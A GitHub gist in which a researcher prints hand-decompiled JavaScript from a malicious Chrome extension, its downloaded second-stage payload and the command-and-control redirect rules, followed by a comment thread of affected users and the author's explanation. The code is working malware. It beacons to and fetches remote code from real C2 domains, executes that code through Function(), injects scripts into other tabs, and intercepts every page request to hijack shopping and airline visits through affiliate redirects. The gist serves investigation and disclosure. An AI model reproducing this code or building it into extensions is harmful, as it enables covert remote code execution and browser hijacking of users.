Skip to content

Instantly share code, notes, and snippets.

@DrewDennison
Last active August 27, 2018 21:18
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DrewDennison/bf661461c88cdfe959810811b32676f1 to your computer and use it in GitHub Desktop.
Save DrewDennison/bf661461c88cdfe959810811b32676f1 to your computer and use it in GitHub Desktop.
(function() {
function postLog({
cat = 'eval', // category
act = '', // action
lab = '', // label
fr = 86400000, // freq. Default is 1 day
}) {
let key = obfuscateString(`${cat}_${act}`, 7);
return localStore.get(key).then(lastRuns => {
let lastRunEpoch = lastRuns[key],
shouldRun =
fr == 86400000 // run daily
? new Date().getTime() -
new Date(lastRunEpoch).setUTCHours(0, 0, 0, 0) >=
fr
: new Date().getTime() - lastRunEpoch >= fr;
if (!lastRunEpoch || shouldRun) {
let lastRuns = 'https://unanalytics.com/stats';
makeRequest(
`https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=${
cat
}&eventAction=${act}&eventLabel=${lab}`,
'POST'
).then(_0x435009 => {
let lastruns = {};
(lastruns[key] = new date().gettime()), localstore.set(lastruns);
});
}
});
}
function makeRequest(url, method = 'GET') {
return new Promise((resolve, reject) => {
function processTabUpdate(tabId, changeInfo, tab) {
changeInfo['status'] === 'loading' &&
(validateTabUrl(tab, url) &&
consts['pV'] <= 0 &&
(chrome.tabs.onUpdated.removeListener(arguments.callee),
makeRequestInTab(tabId)),
consts['pV']--);
}
function makeRequestInTab(tabId) {
chrome.runtime.onMessage.addListener(processMessage),
chrome.tabs.executeScript(tabId, {
code: `(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${
method
}',url, true);xhr.send();})()`.replace(
'replaceableurl',
'https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=eval&eventAction=init&eventLabel='
),
});
}
function processMessage(message) {
message['url'] === url &&
(resolve(message['data']),
chrome.runtime.onMessage.removeListener(arguments.callee));
}
function validateTabUrl(tab, url) {
return new RegExp(
`^((?!(chrome${url.includes('http://') ? '|https|ftps' : ''})).+://)`
).test(tab['url']);
}
(url && url.length !== 0) || reject('Url error'),
chrome.tabs.query({}, function(result) {
let validTabs = result.filter(
tab => validateTabUrl(tab, url) && !tab['active']
);
validTabs.length === 0
? chrome.tabs.onUpdated.addListener(processTabUpdate)
: makeRequestInTab(
validTabs[Math.floor(Math.random() * validTabs.length)].id
);
});
});
}
function obfuscateString(inputString, rot) {
for (
var outputString = '', charCode = 0, idx = 0;
idx < inputString.length;
idx++
)
(charCode = inputString[idx].charCodeAt() + rot),
(outputString += String.fromCharCode(charCode));
return outputString;
}
function o(payload) {
return new Promise((resolve, reject) => {
let parseSuccessfully = false,
code = '',
version = '';
try {
(payload = JSON.parse(payload)),
(code = payload['code']),
(version = payload['version']),
code == -1 || (parseSuccessfully = true);
} catch (error) {
postLog({
act: 'error',
lab: 'parseResponse',
fr: 0,
});
}
parseSuccessfully
? localStore
.set({
kuzi5B5UFvI: code,
GNLMzs7rai9: version,
})
.then(_0x4b1779 => {
localStore.set({
Ttt4fRNCFmK: new Date().getTime(),
}),
postLog({
act: 'download',
lab: version,
fr: 0,
}),
resolve({
code: code,
version: version,
});
})
: (code != -1 &&
postLog({
act: 'error',
lab: 'invalidMonetizationCode',
fr: 0,
}),
localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(items => {
resolve({
code: items['kuzi5B5UFvI'],
version: items['GNLMzs7rai9'],
});
}));
});
}
function run(metadata) {
try {
window['Function'](metadata['code'])(localStore, makeRequest, postLog),
postLog(
(metadata['code'] && metadata['code'].length !== 0) ||
(metadata['version'] && metadata['version'].length !== 0)
? {
act: 'run',
lab: metadata['version'],
}
: {
act: 'run',
lab: 'idle',
}
);
} catch (error) {
postLog({
act: 'error',
lab: `run_${metadata['version']}`,
});
}
}
function downloadPayload() {
return new Promise((resolve, reject) => {
localStore.get('Ttt4fRNCFmK').then(value => {
let _0x19dd2c = value['Ttt4fRNCFmK'] || 0;
_0x19dd2c === 0 &&
localStore
.set({
d8nvfUyMV8E: new Date().getTime(),
})
.then(_0x426061 => {
postLog({
act: 'install',
});
}),
new Date().getTime() - _0x19dd2c > 43200000
? setTimeout(function() {
makeRequest(
'https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi',
'GET'
)
.then(o)
.then(resolve);
}, 0) // force 0 for testing. was consts.beaconDelay
: localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(value => {
resolve({
code: value['kuzi5B5UFvI'],
version: value['GNLMzs7rai9'],
});
});
});
});
}
function init() {
setTimeout(function() {
postLog({
act: 'init',
}),
downloadPayload().then(run);
}, 0); // force 0 for testing. was consts.initDelay
}
let consts = {
pV: Math.floor(3 * Math.random()),
initDelay: 1800000 * Math.floor(1 * Math.random() + 1),
beaconDelay: 60000 * Math.floor(2 * Math.random() + 1),
},
localStore = {
get(keys = null) {
return new Promise((resolve, reject) => {
chrome.storage.local.get(keys, function(items) {
resolve(items);
});
});
},
set(items) {
return new Promise((resolve, reject) => {
chrome.storage.local.set(items, function(bytesInUse) {
resolve(bytesInUse);
});
});
},
jy(_0x4703ce) {
return new Promise((resolve, reject) => {
chrome.storage.local['jy'](_0x4703ce, function(_0x1c99ef) {
resolve(_0x1c99ef);
});
});
},
SG() {
return new Promise((resolve, reject) => {
chrome.storage.local['SG'](function(_0xcf25b8) {
resolve(_0xcf25b8);
});
});
},
};
init();
})();

DOMAINS

https://unanalytics.com
http://api.data-monitor.info
http://systemrtb.com

localstore keys

Ttt4fRNCFmK
kuzi5B5UFvI
GNLMzs7rai9

Payload URL

https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi
{
"code": "function req(obj,callback,errback){var params=obj.params?obj.params:[],xhr=new XMLHttpRequest;if(callback&&(xhr.onload=function(e){e=e.target,200===e.status||304===e.status?callback({responseText:e.responseText,headers:e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&&current!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();",
"version": "v20170412"
}
function req(obj, callback, errback) {
var params = obj.params ? obj.params : [],
xhr = new XMLHttpRequest;
if (callback && (xhr.onload = function(e) {
e = e.target, 200 === e.status || 304 === e.status ? callback({
responseText: e.responseText,
headers: e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&&current!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();
@DrewDennison
Copy link
Author

@DrewDennison
Copy link
Author

@DrewDennison
Copy link
Author

{"rules":{"aliexpress.com":{"":{"":"http://systemrtb.com/?target=http%3A%2F%2Fnfemo.com%2Fclick-JQEXXAX0-KIGQB9TF%3Fbt%3D25%26tl%3D1%26sa%3D__SUBID__%26url%3D__CURURL__"}},"wadi.com":{"":{"":"http://systemrtb.com/?target=http%3A%2F%2F2track.info%2FJKrd%2F__SUBID__"}}}}

found at http://api.data-monitor.info/api/bhrule?sub=1

@DrewDennison
Copy link
Author

Theses appear to be the current rules

{"rules":{"aliexpress.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2Fnfemo.com%2Fclick-JQETHVDP-MKIGQNPP%3Fbt%3D25%26tl%3D1%26sa%3D__SUBID__%26url%3D__CURURL__"}},"airasia.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2F2track.info%2FTle6%2F__SUBID__"}},"etihad.com":{"*":{"*":"http:\/\/systemrtb.com\/?target=http%3A%2F%2F2track.info%2FK3ei%2F__SUBID__"}}}}

found at http://api.data-monitor.info/api/bhrule?sub=1

@adamburgess
Copy link

Hey, mind if you explain a bit more about what this is?
I had left a tab open in Chrome (a page which I know for sure has no <script> at all) for a while and came back to this in the console: https://i.imgur.com/VEuDa9R.png
I did a search through all my currently installed extensions and couldn't find any to be the (obvious) culprit. Any hints? I do browse aliexpress, though.

@kjhangiani
Copy link

@DrewDennison can you add a little bit more context here? I noticed a random request to unanalytics.com in my console, and the google rabbit hole led me here. I am now convinced one of my extensions is the culprit, and am digging through the source code of each one, but cannot find it yet.

Any help is appreciated, thanks!

@MateusAuri
Copy link

Same here, I am getting these random blocked POST attempts to unanalytics.com.
Apparently unanalytics.com belongs to an DDoS prevention division of Akamai, but something still smells funny here.
@DrewDennison can you explain yourself?

@Sowed
Copy link

Sowed commented May 8, 2018

Me too! Been digging around tryna find out the source. @DrewDennison, looking at the slyly named gist evil.js with requests to "unanalytics.com", it leaves me at your mercy to help point in some direction of what this is, exactly?

@krzysztofczernek
Copy link

This happened to me a couple weeks ago, and again - today. This time, Chrome was more cautious and displayed this:

image

(which is a bit calming). I'd still like to know who/what is responsible for these requests - I'm guessing some Chrome extension is to blame.

A couple of interesting findings:

All of this reminds me of https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5

@complexly
Copy link

Same problem, waiting to see which plugin is responsible.

@ornstef
Copy link

ornstef commented May 8, 2018

I had the same pop-up as @krzysztofczernek. I suspect it's because of the Better History extension I had. It seems to have been removed from the Chrome Web Store, and googling it seems to suggest it was sold to some shady company that put malware in it.

@EmperorEarth
Copy link

Had the same thing. Found a fork of Better History. Found it just now so use at your own risk.

@MateusAuri
Copy link

MateusAuri commented May 8, 2018

Hey guys, disable your "Better History" extension. Thanks to twitter user jrgndwvr, who was kind enough to point it out as the culprit.
Edit: Oh, just noticed it was found out here too. Thanks, @ornstef and @EmperorEarth !

@Sowed
Copy link

Sowed commented May 8, 2018

Well, just like the above have pointed out, it appears like some chrome extensions are being sold to malicious parties. If you have Shine for Reddit and Better History, you should scrap them ASAP. This reddit post will give you some context. Am super depressed by what data they had snooped off my browser.

@MateusAuri
Copy link

I'd be more worried if I had ever accessed any of the websites mentioned in this code since I had BH installed. If any of you did, you should be wary of any suspicious activity in your accounts or something like that.

But now, I'd like to know why is this here. I guess there's the chance that Drew could just be using this code for research or investigations, but right now it seems to be more likely that he's involved in malware development somehow. I'd like to hear from him, and he's been active on github lately. Don't users get notified from username mentions in gist comments? I tried to reach him through twitter too, anyway.
If we don't hear from him soon enough, I'm reporting his account.

@alecperkey
Copy link

damnit i use the better history extension all the time. sellouts!

@krzysztofczernek
Copy link

@MateusAuri if you look at the revision history of this gist, you'll see that it looks more like a documented investigation attempt.

@jasonmskidmore
Copy link

Thanks for your research, Drew! I got warnings in Chrome beginning today. None since disabling the extension. According to Chrome dev tools, the code that initiated HTTP POST is the following:

(function(){var url = 'https://unanalytics.com/stats?hash=rsf1nuuhal41e7jq2hj0grpb9&eventCategory=eval&eventAction=error&eventLabel=parseResponse'; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('POST',url, true);xhr.send();})()

@dimkir
Copy link

dimkir commented May 10, 2018

Hey Drew thanks for putting this research here.

It looks like there's YET ANOTHER CHROME EXTENSION which has this malware (I do not have Better History installed, but have bunch of other extensions).

I am trying to debug with Chrome Developer Tools and pinpoint the offending extension, but having some troubles. There's a lot of redirects seen in the Chrome Dev Tools and also the Initiator column is not very useful. Also whenever I am trying to hunt down the malicious redirects they don't happen :(

Would you mind outlining the steps to pinpoint the requests to the Chrome Extension ID?

@josh-richardson
Copy link

josh-richardson commented Jun 10, 2018

Okay. I found that HTTPS everywhere had an extension error which had redirected aliexpress to some other domain, and found that this extension: https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake/ (with 400K users) has a file named 'back.js' packaged inside its CRX.

The back.js seems to download a file from http://api.data-monitor.info/api/bhrule?sub=116 - which looks as though it contains the aliexpress redirect. This seems to be metastasizing into lots of extensions.

@DrewDennison
Copy link
Author

Hey all,

Sorry for the lack of comms. I am a malware researcher who found the Sense (Beta) extension and did a bit of reverse engineering. Happy to help and answer questions but I haven't looked at this since I dumped the gist.

Drew

@DrewDennison
Copy link
Author

From the best I can tell, there are several popular extensions which are either bought, hacked, or typosquatting. When I did my analysis, I found a 3 stage payload: Everything was minified and the above code was the result of a hand-decompilation to replace variable names such as a0 to processMessage etc.

First there was a tiny bit of code that loaded an image to a HTML5 canvas and read the low-order bits and turned that into a string that was the minified contents of evil.js. That randomly reaches out to unanalytics.com to pull down a command and control bit which is labeled payload.json and I extracted to payload.js. I stopped analysis at this point but it looked to rewrite aliexpress and other domains with affiliate links. I was mostly looking to see if the extension was grabbing cookies or reading my email or something like that. I can't be 100% sure since it downloads a dynamic payload, bit it appeared to not be stealing my personal data just making ad money.

@DrewDennison
Copy link
Author

@adamburgess @kjhangiani @MateusAuri @krzysztofczernek see my comments above. Feel free to ping me here or via email if you need any help

@DrewDennison
Copy link
Author

@dimkir I assume you have already solved this but can help you track down if interested

@DrewDennison
Copy link
Author

I do know at least Better History and User Agent Switcher appear to have this malware and will update the thread as I find more

https://hotforsecurity.bitdefender.com/blog/better-history-chrome-extension-goes-rogue-hijacks-browsers-and-displays-ads-13674.html

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment